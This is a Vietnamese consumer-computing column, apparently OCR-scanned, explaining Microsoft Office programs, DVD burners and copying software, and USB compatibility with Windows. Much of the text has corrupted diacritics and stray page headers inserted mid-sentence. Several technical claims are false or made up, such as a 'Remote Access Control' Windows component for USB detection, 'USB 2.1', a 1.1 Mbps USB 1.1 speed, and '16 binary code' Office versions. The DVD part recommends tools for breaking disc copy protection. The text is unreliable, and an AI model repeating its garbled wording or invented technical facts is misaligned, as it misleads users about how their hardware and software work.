  • WinzIP v.v... Đại đa số những nhu liệu này trực tiếp trong các vấn đề giao dịch bằng email cho sự sinh hoạt hàng ngày. à éu thiéu các nhu liéu này dua dén tinh trạng không mở ra được các hồ so trao dói. Chính vi vày viéc tim hiểu các nhu liệu căn bản đặc biệt trong nhu liệu điều hành Windows là điều cần thiết. Microsoft office: Microsoft office là mót trong nhüng loai nhu liéu rát thông dụng trong Windows vi tích cách sử dụng đa dạng và rất thích ứng trong Windows (cả Windows và nhu liệu office đều phát xuất từ công ty Microsoft). Tên Microsoft office là tên tong hop trong đó bao gồm các nhu liệu sau:
  • Word
  • Power Point
  • Excel
  • Access
  • Outlook
  • Visial
  • Và Front Page á én khi nói dén Microsoft office là nói đến tất cả các nhu liệu theo danh sách thống kê ở trên. Mỗi nhu liệu trong office đều hoạt động độc lập với các chức năng và mục tiêu khác nhau tùy thuộc vào sự hiểu biết và kiến thức điện toán của người sử dụng. Trong microsoft office cho người sử dụng điện toán có thể chọn lựa hoặc cài toàn bộ office hoác có thé loai bó những nhu liệu không thích nghi với người sử dụng. Ví dụ như có thé chon cài word, excel, outlook va power point. Con access, front page thì không chọn vì người sử dụng cảm thấy không cần thiết.
  • Microsoft Word: Đây là nhu liệu dùng đọc và đánh máy trên một trang giấy. Đánh máy chỉ là một phần nhỏ chức năng, quan trọng hơn thế nữa là str dung microsoft dé trang trí bài văn thêm phân xúc tích về hình thức trình bày ví dụ như: Thêm hình ảnh phụ chú, thay đổi kiểu chữ, kích thước kiểu chữ, thay đổi kích thước của trang giấy, tự động phối kiểm tự điển danh từ trong tự điển (spelling), câu văn, pháp cú, văn phạm (grammar) cho đúng qui định v.v...Microsoft word có rất nhiều chức năng đánh máy, hình ảnh phụ chú và trang trí. Đặc biệt hơn nữa về ngôn ngữ sử dụng đã được Microsoft Word mã hóa và người sử dụng có thể đánh máy ngôn ngữ gôc của mình như người Việt đánh máy tiếng Việt. Và Microsoft Word đã trở thành nhu liệu làm việc không thê thiếu trong bát cứ một máy hiện hữu điện toán.
  • Microsoft Excel: Day là nhu liệu chuyên biệt vê thống kê, ké toan (statistic and account), trong thóng ké có chuyén nhüng con só thành các biéu dó thóng ké hón ho khác nhau và nhüng qui trình biểu đồ hỗn hợp phức tạp. á hüng hàng kế toán lớn đều có nhu liệu kế toán riêng nhưng khi chuyền sang thống ké bang biéu dé déu ding microsoft excel để trình bày biểu đồ. â goài thống kê kế toán, biểu đồ ra, excel cũng được sử dụng như một data base nho nhỏ và đơn giản nêu so sánh với Microsoft access tuy không chuyên nghiệp bằng nhưng nhìn ở góc độ đơn giản và tương đối dễ sử dụng hơn Microsoft access. Tuy nhiên nếu đi sâu để sử dụng hết chức năng của Microsoft Excel không phải đơn giản vì trong excel cho phép người viết lập trình dựa trên cấu trúc accounting code để có thê tạo ra các chức năng khác 40 KỸ THUẬT ĐIỆẩ TOÁä trong cóng viéc tính toán và kiém soát chi phí ké toán mà danh tir chuyén món cón goi là Macro programmer.
  • Microsoft Power Point: Dáy là nhu liéu dé tao mót hinh ánh gióng nhu là mót "slide show", nhimng ky thuát ngày xua thuóng duoc sir dung dó là trinh chiếu đương ảnh, và power point là mót trong nhüng cóng cu dé làm cóng viéc trinh chiéu duong ánh này. Danh tir chuyên môn để gọi sự trình chiếu này trong Power point dó là Presentation. à goài viéc düng power point dé tao mót duong ành cho presentation, power point cón düng vé nhüng hinh ành đơn giản hình vuông, tròn, chữ nhật v.v...tuy nhiên đây không phải là loại nhu liệu dé vẽ hình kỹ thuật hoặc có kích thước cân xứng (scale).
  • Microsoft Access: â hiệm vụ chính của loại nhu liệu này là tạo ra những thông tin về database. Database là một loại thống kê từng phần về thông tin của từng cá nhân, từng hồ sơ v.v...sự thống kê từng phần này được sắp xếp rất ngăn nắp, hợp lý. Ví dụ như đánh tên và họ của một người nào đó trên màn hình, sau đó sẽ hiện lên các trương mục địa chỉ nhà ở, số điện thoại tại nhà, sở, điện thoại cầm tay v.v...bất cứ trong một lãnh vực thương mại, lãnh vực thị chính, văn phòng v.v...đều cần phải sử dụng nhu liệu để tạo database và Microsoft access là một trong những loại tạo database tương đối đơn giản và dễ sử dụng nhất nếu so với các nhu liệu khác như SQL database cháng han. Mong quý vị độc giả điện toán đón đọc bài viết điện toán kỳ tới cũng trong đề tái các khái niệm tông quát về Microsoft Office. Sau đó sẽ phân ra có bao nhiêu loại Microsoft đang hiện hữu trên thị trường điện toán và sự tương quan giữa Office với sự vận hành của Windows nhu thé nào. Phàn 2: Bài viết trong tuần vừa qua quý vị độc giả đã có khái niệm những công việc của các nhu liéu trong Microsoft office nhu Word, Excel, Power Point, và Access. Tiép theo sé tim hiéu thém vé Outlook, Visio, Frontpage và nhüng software phu trong Windows XP. Outlook hoác outlook eXPress: Mót trong nhüng nhu liệu rất thông dụng đặc trách điều hành hệ thống email đó là nhu liệu Outlook hoác outlook eXPress. Outlook eXPress là một phần trong nhu liệu điều hành của Windows có nghĩa là khi cài đặt xong Windows vào start -> program sẽ thấy một icon outlook eXPress trong khi đó outlook là một phần nhu liệu trong Microsoft office. Khi cài đặt Microsoft office thì sẽ thấy mot shortcut outlook icon hiên lên trên khung cua desktop. Ca hai loai outlook va outlook eXPress đều có các chức năng giống nhau nên chỉ sử dụng một nhu liệu mà thôi. Sử dụng outlook trong công việc điều hành email có rất nhiều điểm tiện lợi:
  • Các emails đều được lưu trữ trong máy điện toán tại tư gia thay vì lưu trữ trong mail server của công ty làm hợp đồng internet. Có thể đọc các email cũ trong outlook không cần phải vào internet (không có giới hạn lưu trữ bao nhiêu email hoặc bao nhiêu gigabytes). Trong khi đó tại mail server luôn luôn có giới hạn thông thường cho phép tổng số email lên tới 2 Gigabytes cho mỗi trương mục email và phải vào internet, vào mail server mới đọc được email.
  • Outlook có nhiều chức năng về an ninh (security) và bảo vệ phòng chống các virus dựa trên hệ thống antivirus, anti spam v.v..nhu orton, Spyware Sweeper. .. - Outlook có thể kiểm soát các địa chỉ email qua một chức năng email incoming block list. â goài ra trình bày nội dung email rất gọn gàng và mỹ thuật nêu hiểu hết các chức năng của outlook một cách đúng mức. Tuy nhiên muón outlook làm viéc hoàn toàn độc lập và tự động phải dựa trên các công ty hợp đồng internet cho phép hay không. Đại đa số các công ty này đều cho địa chỉ của mail server và outlook sẽ tự động nôi với mail server này chuyền và lưu trữ các email trong máy điện toán tại gia. â goại trừ công ty internet AOL không làm việc được với Outlook hoặc outlook eXPress vì không có địa chỉ mail server hoặc các loại email miễn phí như Yahoo, Hotmail, va Gmail cting khong str dung outlook hoac outlook eXPress được. 41 KY THUAT DIEa TOAA Microsoft Visio: Microsoft visio là mót trong những nhu liệu vẽ kỹ thuật đơn giản nhất nêu so với những nhu liệu vẽ tinh vi khác. Tuy nhiên những nhu liệu khác đều đi sáu vào chuyên môn, còn trong Visio có thé vé nhüng nét dai cuong, biểu hình đồ đơn giản với ty lệ kích thước họa đồ cũng tương xứng với kích thước thực tế. â goài ra Microsoft Visio có một số hình ảnh tiêu chuẩn vẽ kiến trúc trong kho hình ảnh lưu trữ nên có thể dùng Visio để vẽ những nét đại cương văn phòng rất là nhanh thay vi düng Autocad dé vé (autocad là nhu liệu dé vẽ kiến trúc). Office 1997, 2000 và XP không có Microsoft Visio, phải mua sắm riêng. å hung office 2003 trong đó có một phần nhu liệu Microsoft Visio 2003. Dĩ nhiên phải phân biệt rõ ràng sự khác biệt giữa power point dành chiếu đương ảnh (slide show) và Visio đành cho vẽ kỹ thuật đơn giản với những kích thước tương xứng với kích thước thực tế. Frontpage: Có rất nhiều nhu liệu để tạo một trang web và Microsoft Frontpage là mót trong những nhu liệu đơn giản để tạo một trang web. Tuy nhiên nhu liệu này tương đối không thông dụng vì cấu trúc (web structure) tương đối đơn giản, nên các chuyên gia về web đều chọn nhu liệu khác tinh vi và phức tạp hon. Hói: Microsoft office có nhiéu phán nhu liéu nhung có thé cài dát mót vài phán duoc khóng ? Dáp: Di nhién là duoc, Microsoft office là tén tóng hop trong dó bao góm tát cà các nhu liệu khác biệt với các chức năng khác biệt. Theo thời gian ra đời từ office 97, 2000, XP và 2003 đều cho phép người sử dụng có thể cài đặt hoàn toàn hoặc chỉ một phần nhu liệu hay sử dụng mà thôi. Trong tiễn trình cài đặt (install) nhu liéu offcie, néu chon customize, buóc ké sẽ hiện lên danh sách nhu liệu không muốn cài đặt vào trong máy, chỉ cần lấy chữ x trong ô vuông (check mark) tự động nhu liệu đó sẽ không cài vào trong máy. Thông thường các nhu liệu Microsoft Outlook, Frontpage và Access ít được chọn vì khi sử dụng đòi hỏi cần phải có các kiến thức căn bản chuyên môn nhiều hơn. Còn phương pháp đơn giản nhất là cài toàn bộ các nhu liệu office vào trong ó hard drive néu diéu kién ó hard drive có nhiéu chó chua. á goài ra néu trong máy có Microsoft office cü nén vào Control Panel - Add/Remove program dé lay ra trước khi cài đặt office mói. Di nhién láy program office cü ra hoàn toàn không ảnh hưởng tới những nhu liệu các hồ sơ cá nhân. Có một vài điểm đặc biệt cần phải lưu ý nhiều khi các bài vở nếu lưu trữ trong office mới, nếu dùng office cũ sẽ không mở được nên bắt buộc phải cài đặt office mới tương xứng để mở các bài vở download hoặc nhận từ email. Ví dụ Microsoft word 97 sẽ không mở duoc các bài vó trong microsoft word XP hoác 2003. Window 98 hàu nhu khóng còn thực dụng hiện nay, trong máy điện toán ít nhất phải cài Windows 2000 và office 2000 mới làm việc và trao đổi trong email có hiệu quả. Mong quý vị độc giả điện toán đón đọc bài viết điện toán kỳ tới sẽ tìm hiểu sự tương quan tiếng Việt trong các nhu liệu Microsoft office và trong Windows XP có những nhu liệu nào thường hay sử dụng để tạo các shortcut trên khung desktop. Phần cuối: Trong hai bài viết vừa qua, quý vị độc giả đã có những nét khái niệm tổng quát microsoft office là gì, trong đó với những chức năng của từng nhu liệu một. Tuy nhiên qua phần kỹ thuật hỏi và đáp quý vị sẽ hiểu tường tận hơn sự khác biệt theo thời gian của các office nhu thé nào Hói: Microsoft office và Microsoft Windows có sw lién hé gi voi nhau và microsoft office là một phân của Microsoft Windows phải không ? Đáp: Office và Windows chỉ giống nhau một điểm là cả hai cũng đều phát xuất từ một đại công ty chuyên viết về lãnh vực nhu liệu software Microsoft. Tuy nhiên phải phân biệt hai mỗi nhu liệu đều có chức năng làm việc khác nhau như Microsoft Windows là nhu liệu điều hành và Microsoft Office là nhu liệu chức năng (application). Cả hai đều làm việc riêng biệt, tuy nhiên nhu liệu điều hành Windows đều bắt buộc phải có cho máy điện toán tại tư gia và nhu liệu chức năng ví dụ như microsoft office có thé cài đặt vào trong máy hoặc không có cũng có thể dùng những nhu liệu chắc năng khác ví dụ 42 KỸ THUẬT ĐIỆẩ TOÁä như công ty Lotus là một trong những công ty viết những chương trình giống như công ty microsoft office cũng bao gồm word, excel, access v.v...và package nhu liệu đó với tên gọi là LotusPackage software. â hưng vì tính cách cạnh tranh và liên quan đến tâm lý của người sử dung Windows và office phát xuát tir mót cóng ty nén cấu trúc làm việc sẽ đa diện và hiệu năng hơn nên Lotus chỉ hiện hữu trong mót thói gian ngán (1986-1990) và nhu liéu microsoft office dà hoàn toàn ngu trị trong môi máy điện toán tại tư gia. Quay lại nhu liệu Windows và office hoàn toàn biệt lập trên thị trường điện toán nên phải mua sắm riêng biệt. Khi mua sắm một máy điện toán mới ngoài Windows XP SP2 (service package 2) đã trở thành nhu liệu điều hành tiêu chuẩn hiện nay cho một máy điện toán, nhu liệu package office 2003 tùy thuộc vào hợp đồng mua máy có khi là một phần hợp đồng, có khi chỉ cho phép sử dụng trong một thời gian ngắn (dùng thử-trial version) thông thường là 30 ngày hợp đồng sẽ hết hạn và phải cài lại hoàn toàn (full licence) micrsoft office 2003 vào trong máy. Di nhién khi mua sám máy điện toán mới, cũng một loại máy điện toán nhưng giá thành khác nhau, sự khác nhau này chính là hợp đồng full licence hoặc trial version của office 03, nên người mua sắm phải biết cặn kẽ Microsoft office thuộc loại gì. Hỏi: Micrsoƒft office có bao nhiêu loại can ban va nén hay khong nén update micrsoft Office thuong xuyén ? Đáp: Đây là một câu hỏi khá thú vị vì liên quan tới tâm lý của người sử dụng nhiều hơn. Theo thời gian tiến triển không ngừng, công ty Microsoft đã tung ra trong thị trường office 95, 97, 2000, XP và 03. Từ version năm 95, 97 chuyén sang version 2000 có rất nhiều khác biệt vì Windows 98 còn viết dựa trên hệ 16 (binary code) nén nhu liéu office 95 và 97 cũng viết trên tiêu chuẩn ban ma (code) 16. Di sáu chi tiét mót chüt vé bán mà 16, trong lành vuc chuyén món hiéu ráng dó là cáu trúc của binary 16 (hệ số lập trình), liên quan trực tiếp tới cấu trúc của các bộ phận linh kiện hardware như motherboard, memory v.v...cüng déu thiét ké bàn mà 16 dua tói tóc dó phán tích lập trình rất chậm. Lúc đó cấu trúc motherboard còn trong hé 286, 386, va 486. Sau do bản mã 32 được tung lên thị trường, cấu trúc hardware cũng thay đổi theo cho phù hợp và được ứng dụng trong một thời gian dài. Trong thời gian này cấu trúc motherboard được cải thiện không ngừng từ Pentium 1,2,3 và 4 tốc độ CPU cüng dat trén 3 Giga chu ky (3GHz). Hién nay trén thi truóng dién toán mót lần nữa đã được cải thiện từ bản mã binary 32 sang 64. Sự phát minh 64 này sẽ ảnh hưởng trực tiếp đưa đến sự cải thiện về cấu trúc của hardware để đáp ứng nhu cầu bản mã binary 64 càng tỉnh vi và phức tạp. Tóm lai bán má 16, 32, và 64 rất quan trong là khói nguón cho những sự cải thiện về hardware. Và một điểm quan trọng khác là những nhu liệu viết trên bản mã càng về sau thì những nhu liệu viết trên bản mã cũ không nhận được diện các nhu liệu viết trên bản mã mới. Dua ra thí dụ đơn giản nhất dùng Microsoft word 2000 viết một bài văn, microsoft word 97 sé không mở được bài văn nay vi thudc dang ma binary 16, nên muón bai van này doc duoc thi phải lưu trit (save as) chon loai (type) là word 97 lác dó düng Microsoft word 97 mói mó được bài văn. Trong khi đó các bài văn lưu trữ trong Word 95 hoặc 97 đều dùng word 2000, XP hoặc 2003 để đọc. Thí dụ trên để chứng minh ngành nhu liệu phát triển một chiều đi lên và vì cầu trúc càng ngày càng tỉnh vi, phức tạp. Đòi hỏi về hardware cũng phải được cải thiện và người sử dụng cũng phải đi theo xu hướng của sự tiến bộ này đưa đến máy điện toán đến một lúc nào đó cũng cân phải thay đổi hoàn toàn mới cho phù hợp. Một điểm khác cũng cần phải quan tâm đó là office 95, 97 viết trên bản mã 16 cần phải đổi sang office 2000 viết trên dạng 32. Từ 2000 chuyền sang XP và 03 là điều không cần thiết nêu chỉ thuần tuy su dung Word, Excel, Power Point va Access vi cau tric diéu hanh trong office khóng khác nhau. Chi dác diém trong package office 2003 có nhiều nhu liệu chức năng khác nhu Microsoft Visio 03, Project 03 v.v...lién quan truc tiếp tới sự điều hành của một công ty như giờ giấc hội họp, các công việc thiết kế. Khi cần một nhu liệu chức năng nào 43 KY THUAT DIEa TOAA chỉ can cai dat nhu liéu dó là đù. å ên tránh nhüng thói quen cài dát nhiéu nhu liéu mà không bao giờ sử dụng các nhu liệu đó. Mong quý vị độc giả đón đọc trong chương trình điện toán kỳ tới với hàng loạt bài cách sử dụng Microsoft Word, Power Point, Excel trong Office 2000. DÍA DVD VÀ PHUONG PHÁP SAO CHÉP CHƯƠNG TRÌNH ÂM NHẠC Phàn 1: DVD viét tat cua danh tir Digital Video Disc. á ói dén DVD lién quan dén hai phần rõ
  • Máy DVD, máy ghi chép DVD, ô DVD và ô ghi chép DVD
  • Các loai dia DVD , DVD , DVD và DVD RW. Các danh từ kỹ, thuật dé phán biét máy và ó. Máy dành cho nhüng máy hoat dóng dóc lập và thông thường căm vào giòng điện xoay chiều (AC) 120v/240v sử dụng được. Ô dành cho các bộ phận gắn trong máy điện toán, ô này cần giòng điện một chiều 12v (DC) mới hoạt động được. Máy DVD: Máy DVD hién nay trên thị trường điện tử chỉ có hai loại:
  • DVD player loại máy DVD này chỉ có một chức năng duy nhất là phát ra hình ảnh và âm thanh từ dĩa DVD.
  • DVD player và recordable, loại máy này có hai chức năng hát và thâu, tuy nhiên kỹ thuật thâu trong loại máy DVD còn đơn giản và cho phép vừa xem phim trong băng tape VHS và ghi chép trực tiếp vào trong đĩa DVD. â goài ra sang dĩa DVD qua DVD vân chưa lưu hành trên thị trường và tùy thuộc vào nhiều yếu tố bản quyền. sao chép v.v.. Mót trong nhüng yéu tó quan trong cho nguói mua sám các dàu máy DVD là loai dàu optic cám ứng laser đọc được các dạng mã ghi chép nào trén mát dia DVD (format) và các loai dia tracking. Thóng thuóng các dàu máy DVD hién nay déu khóng có tró ngai và có thé đọc được hầu hết các loại dĩa DVD+, DVD-, DVD, và Dual DVD. Tuy nhiên các các dạng mã ghi chép cần phần quan tâm xem máy này có hát được loại nhạc MP3 không, nhận diện được các loại ghi chép âm thanh trên ký hiệu High Definition (gọi tắt là HD). Dĩ nhiên dựa trên những yếu tố đọc các dạng mã âm thanh và hình ảnh này giá thành của máy DVD sẽ khác nhau. Ó DVD: Ô DVD phải đi chung với máy điện toán rất đa dạng và phức tạp vì chức nang tinh vi về kỹ thuật sao chép âm thanh và hình ảnh trên mặt dĩa. Ô DVD được chia làm hai loại giống như máy DVD:
  • DVD player Loai ó DVD player chi phát ra hinh ánh và ám thanh, mói DVD player này dàu có chi só tóc dó doc trén mát dia, don vi goi là X, mói X tuong duong vói tóc dó doc là 150 kps. Hién nay tốc độ đọc nhanh nhất cho ó DVD là 16X.
  • DVD Record hoặc Rewriteable danh từ chuyên môn hay còn gọi các ô sao chép DVD này là DVD burner. DVD burner vói nhiều chức năng làm việc như một CD, một CD burner, một DVD và một DVD burner. Rất đa dạng và đa diện. Một trong những ưu điểm của loai ô DVD burner này là có thê sao chép một dĩa phim nhạc góc DVD sang dia DVD khác với sự tân tiễn của ngành kỹ nghệ nhu liệu trên thị trường điện toán. Hoi: Giai thich ro hon su lam viéc cua may DVD + VHS va DVD + DVD. Sự khác biét ra sao ? Dap: 4 guyén danh tir cua VHS là Video Home System, va may VCR (video cassette recording) duoc str dung rat rong rai dé xem loai VHS tape này trong khoáng tháp nién 1980, từ năm 1995 cho đến nay đã chuyền hoàn toàn sang loại DVD. Tuy nhiên để đáp ứng nhu cầu người sử dụng muốn chuyên các hình ảnh âm thanh từ VHS sang DVD, loại máy VHS và DVD recorder ra đời. Máy này có thể làm hai chức năng cùng một lúc vừa hát hình ảnh và âm thanh từ VHS và ghi chép trực tiếp xuống dĩa DVD. Và máy DVD + DVD cho phép sao chép ti DVD sang DVD nhung su sao chép này tùy thuộc vào nhiều yêu tố kỹ thuật bản quyền. 44 KỸ THUẬT ĐIỆẩ TOÁä Dai da só có thé cho phép sao chép tir DVD qua DVD néu dia góc DVD khóng có cài bán má chóng sao chép (blocking code). à éu những dia DVD này có cài những bản quyên thì phải dùng máy điện toán để giải mã, sau đó sao chép vào dĩa DVD khác trong máy điện toán. Sau khi đã sao chép thành công thì dùng dĩa DVD này có thể sao chép trong máy DVD vì đã được mã hóa Blocking Code. Tuy máy DVD+VHS hoặc DVD+DVD có điểm thuận lợi và đễ dàng sử dụng khi sao chép nhưng nếu so với một đàn máy điện toán tỉnh vi vẫn còn kém xa về kỹ thuật vì một máy điện toán nếu đúng chức năng chuyên về Video, Audio, Graphic Design v.v...đều có những bộ phận nối với máy VCR, Web Cam, máy quay phim v.v...và chuyển âm thanh hình ảnh trong máy này vào trong máy điện toán, từ đó có thé điều chinh à âm thanh, điều chính hình ảnh cho chất lượng (quality display) khá hơn sau đó mới chuyển xuống dia DVD. á én tóm lai düng máy dién toán dé làm các chức năng sao chép, điều chỉnh hơn là dùng may DVD đề làm công việc này. Với sự tiễn bộ không ngừng các bộ phận từ VCR, máy chụp hình, máy quay phim đều có thể liên kết làm việc qua một dàn máy điện toán nhanh và ổ hard drive có nhiều sức chúa Giga bytes thì không còn là sự trở ngại nữa. Đón mong quý độc giả trong bài dién toán ky tói lién quan tói phàn 2 cüa các ó sao chép DVD và tìm hiểu chỉ tiết cấu trúc của các mặt dia. 4 hững phần tìm hiểu này rất quan trọng đề hồ trợ cho sự dẫn giải “làm thế nào để chuyển nhu liệu từ VHS hoặc DVD sang đĩa DVD với chất lượng cao mà không bị trở ngại về kỹ thuật” cũng như sự khác biệt kỹ thuật giữa hai loại Internal (bộ phận gắn liền trong máy điện toán) và External (bộ phận gắn ngoài máy điện toán) nên chọn loại nào cho thích hợp. Phần cuối: Sau khi đã nắm vững các điều kiện hardware căn bản để gắn thêm một ô DVD burner, bước kế tiếp sẽ tìm hiểu về 2 điều kiện sau đây:
  • Ó hard drive
  • Và nhu liéu cho phép sao chép dia DVD Ó hard drive: Thong thuong mót máy dién toán hién nay 6 hard drive (primary) ít nhất co sức chứa là 60G (gigabytes) và còn được trang bị thêm một ó hard drive thit 2 (secondary) cüng trém 100G nén diéu kién ó hard drive luón luón có chó tróng ít nhát là 10G không còn là vấn đề nữa. Vì quý vị đã biết qua bài tham khảo vừa qua trong tiến trình sao chép một dĩa DVD được chia làm hai giai đoạn upload vào trong dĩa hard drive và download vào trong dĩa DVD trống (hiện nay vẫn chưa có thê sao chép DVD qua DVD như sao chép đĩa nhạc CD qua CD được), trung bình một dĩa DVD có thê chứa 4.7 Gigabyte dữ kiện, một loại dĩa khác gọi là Dual DVD có sức chứa 9.4 Gigabytes dữ kiện nên trong tiến trình upload data vào trong ô hard drive ít nhất phải có chỗ trống trên 10G là vậy. Trong điều kiện cho phép néu may da co thém 6 hard drive thir 2 (secondary or slave) nên tâp thói quen vào tién trình upload các dữ kiện hình ảnh và âm thanh vào ô hard drive phų (secondary) vì giúp tuói tho cüa ó hardrive chính (primary) sé bén bi hon, trong khi dó ó hard drive phụ chỉ một công việc chứa các hình ảnh, âm thanh và các dữ kiện cá nhân không có các nhu liệu vận hành (application) nén các ván dé phu ít xảy ra. Nhu liệu sao chép DVD (DVD burner softer): Dây là cốt lõi trong công việc sao chép một dĩa DVD. Khi mua sắm môt ô sao chép DVD (DVD burner) ô DVD burner có dia CD nhu liệu bao gồm DVD driver và DVD softer. Thóng thuóng các loai nhu liệu gốc trong dia CD này chỉ có thể làm những công việc sao chép một dĩa DVD thông thường với điều kiện dĩa DVD nhu liệu muốn sao chép tổng số dữ kiện (data) chứa trong dĩa DVD không quá 4.7G và không có cài các kỹ thuật ngăn cản mà danh từ chuyên môn này hay thường gọi là blocking code. Chính vì những lý do này nên phải dùng những nhu liệu sao chép DVD tinh vi hơn trên thị trường điện toán như các nhu liệu DVD shrink, DVD Clone, DVD Platinum v.v...các CD này chuyên trị các vấn đề trong lãnh vực sao chép từ dĩa DVD như: 45 KỸ THUẬT ĐIỆẩ TOÁä
  • Có thé phá nhüng blocking code cài trong dia góc DVD muón sao chép (encrypted).
  • Có thể ép (compressed) những dĩa gốc có dữ kiện nhiều hơn 4. 7G xuông còn trong phạm vi của đĩa 4.7G, danh từ chuyên môn hay sử dụng là compress xuống còn bao nhiêu phần trăm để chỉ số data chỉ còn trên dưới 4.7G (DVD clone là một trong những nhu liệu rất tiên dung trong ky thuát dón nén data và file (compressed data or file).
  • Có thé sao chép tir DVD sang DVD (nhu nhu liéu mói DVD Platinum). Và phàn còn lai sau cùng người sử dụng điện toán học phương cách sử dụng các loai software sao chép DVD này. Hỏi: Trong như liệu sao chép DVD có hai loai rát phổ biến và thông dụng đó là Nero và Roxio CD/DVD Creator, có thể dùng hai loại này được không ? Đáp: â ero 7.0 và Roxio CD/DVD Creator 7.0 là những version mới nhất trong thị trường điện toán hiện nay. Tuy nhiên đặc điểm và cấu trúc của cả hai loại này rất tiện lợi và thông dụng trong lãnh vực sao chép âm nhạc, sao chép nhu liệu cá nhân, nhu liệu vận hành trên mặt đĩa CD. Cả hai loại nhu liệu này có thể ghi chép trên mặt đĩa DVD nếu máy điện toán đã chuyển các hình ảnh video và âm thanh từ các máy Cam recorder, máy quay phim v.v...sang dạng Video và sau đó dùng Roxio hoặc â ero để chuyên các dạng video này kên trén mát dia DVD. Roxio và à ero rát han hep trong ván dé sao chép hay tao mót dia DVD và không giải phá được các ký hiệu blocking code đã cài trên mặt dĩa. Trong khi đó các nhu liệu khác đều có thể là những công việc này. Tóm lại nên dùng những nhu liệu khác trong vấn đề ghi chép ký hiệu trên mặt đĩa trống DVD. Hỏi: Vậy thì nhu liệu nào hay nhất trên thị trường điện toán hiện nay ?. Đáp: â hư đã trình bày ở trên, loại nhu liệu chuyên môn decode các chướng ngại vật đã cài vào trong dĩa DVD đó là DVD shrink rất hiệu nghiệm cho công việc này. â êu so với các chức năng khác như nén dữ kiện xuống chỉ còn 4.7G thì dùng DVD clone và muốn sao chép DVD qua DVD thi dung nhu liệu DVD Platium. Dĩ nhiên cả ba nhu liéu DVD shrink, clone và platium đều có những chức năng giống nhau nhưng có những chuyên đặc biệt của nó như những thí dụ ở trên. Trung bình một nhu liệu sao chép DVD trên thị trường điện toán vào khoảng trên đưới $30 cho một bản quyên (licenced), có thể bản quyền licenced bị mắt tác dụng trong trường hợp máy điện toán đó bị hư hard drive phải thay băng hard drive mới hoặc phải tây đi (format) làm lại Windows mới. â hững trường hợp trên có thể đưa đến tình trạng phải mua nhu liệu sao chép DVD lại lần nữa. â hư vậy là qua các bài giải đáp hướng dẫn trên quý vị độc giả điện toán nếu có ổ DVD burner và cài đúng nhu liệu sao chép DVD quý độc giả có thể làm các công việc sau:
  • Tạo một dia phim DVD tü các máy Cam recorder, quay phim, web Cam v.v...dùng software movie clIP edit dé diéu chinh ánh sáng hoác cát xén cho phü hop nói dung (ví du như dùng nhu liệu Pinnacle dé lam Movie clIP).
  • Sao chép các phim tir dia DVD góc.
  • Düng dia DVD để chứa các hình ảnh, âm nhạc v.v...với sức chứa lên tới 4.7G thay vì dùng CD thường với sức chứa chỉ có 700Megabytes. Trong tương lai các loại dĩa CD cũng từ từ thay thế bằng các loại đĩa DVD vì điều kiện và nhu cầu đòi hỏi sức chứa càng nhiều trên mặt dĩa. USB, WINDOWS VÀ SỰ TƯƠNG QUAN Qua bài viết vừa qua quý vị độc giả hiểu thêm sự quan trọng trong sự liên lạc giữa các bộ phận bên ngoài máy điện toán qua chỗ nối USB (universal serial bus). Và qua phần hỏi và đáp sẽ tường tận hơn sự tương quan của kỹ thuật USB và Windows. Hỏi: Đại đa số các bộ phận điện tw (devices) đều ứng dụng kỹ thuật USB và kỹ thuật này có sự khác biệt với sự phát triển không ngừng của Windows không ? 46 KY THUAT DIEa TOAA Đáp: â hu liệu Windows gắn liền với các cấu trúc của các mach điện tử, cũng như cấu trúc của con chlP CPU. Quay lại thời gian thịnh hành của Windows 95, 98 và ME. Các loai motherboard thuóc ho 386, 486, pentium 1, 2 và 3 đều ứng dụng cho loại Windows này. Một trong những phần nhu liệu quan trọng liên quan đến mọi sự làm việc trong giữa Windows và các bộ phận linh kiện bên ngoài máy điện toán đó là Remote Access Control. Phần nhu liệu RAC trong Windows này có nhiệm vụ kiểm soát và phối kiểm điều kiện làm việc hiện hữu trong máy và những device mới gắn vào có bị trở ngại về sự liên lạc (communication) giữa mother board và device không. RAC phải dựa vào điều kiện cấu trúc của các linh kiện bán dàn cà hai motherboard và device thi RAC mói làm việc có hiệu qủa qua chỗ nối USB. Trong khi đó những loại mother board vào thời xa xưa với window 98 và ME không không ứng dụng RAC cho tự động được nên đưa đến hiện tượng mỗi lần gắn một bộ phận device mới, mother board không nhận diện được và phải reboot máy điện toán sau đó Windows mới nhận dạng một bộ phận vừa gắn vào trong máy điện toán hoặc vừa nói tiếp qua communication ports, tiếp theo những bước hướng dẫn sao đó để cài nhu liệu cho đúng cách. USB bắt đầu được sử dụng rộng rãi cho trên mother board khi cau trac USB da được cải thiện từ USB 1.1 sang USB 2.1, song song dó cáu trüc mother board, các bó phận điện tử cũng được cải thiện, hoàn toàn tự động đáp ứng và tương xứng với Windows XP liên quan trực tiếp tới tự động RAC. Và chỉ trong một thời gian vài giây khi gắn một device mới qua dây cắm USB. Windows sẽ nhận dang va tự động cài đặt nhu liệu làm việc giữa đôi bên (danh từ chuyên môn gọi là driver), thỉnh thoảng Windows không có loại driver đó chỉ việc bỏ CD vào trong ô CD là đủ, Windows XP sẽ tự động tìm kiếm và update những driver mới nhất cho hợp lý. â ói chung Windows - USB - và device driver déu có quan hệ với nhau theo thời gian. RAC sẽ không có tác dụng tự động nếu là những loại mother board cũ chạy trên Windows 98 hoặc ME. Các Windows XP home hoặc Professional version đều sử dụng được RAC nên đưa đến công việc phát hiện những decive mới qua chỗ cắm USB dễ dàng và nhanh chóng hơn. Hỏi: Thông thường các loại motherboard chay con chIP pentium 3 hoặc 4 đều có 2 chỗ cắm USB. Như vậy có thể hiểu rằng đây là loại USB 2.0 và phải cài đặt Windows XP cho hợp lý phải không ? Đáp: Đại đa só các loai mother vói con chIP CPU chay vói tóc dó trén 1.3G các chó cám USB déu thuóc loai 2.0 (như đã giải thích trong bài viết vừa qua tốc độ chuyền đữ kiện của USB 2.0 là 480Mbps trong khi đó của USB I.1 là 1.IMbps) còn các loại CPU chạy dưới tốc độ 1.3G trên mother board nếu có chỗ cắm USB thì thuộc loai 1.1 nén nhüng chó cám USB 1.1 này sé bi tró ngai néu gáp nhüng loai device chay vói tóc dó yéu càu USB phải là 2.0; Dua ra mót thí du rát phó bién khi mua såm môt ô External DVD burner, ô sao chép DVD này dùng USB 2.0. å éu căm vào USB motherboard, trong tién trình cài đặt nhu liệu DVD sé nhán duoc lói nhán trén màn hinh need to upgrade to USB 2.0 or your USBI.1 does not match by required” lói nhán này báo hiệu cho người sử dụng hiểu rằng hệ thống USB dang có trong máy thuóc loai USBI.1 trong khi dó ó sao chép DVD yêu cầu phải là USB2.0 nên phải cải thiện hệ thống USB thành 2.0. Tại sao phải 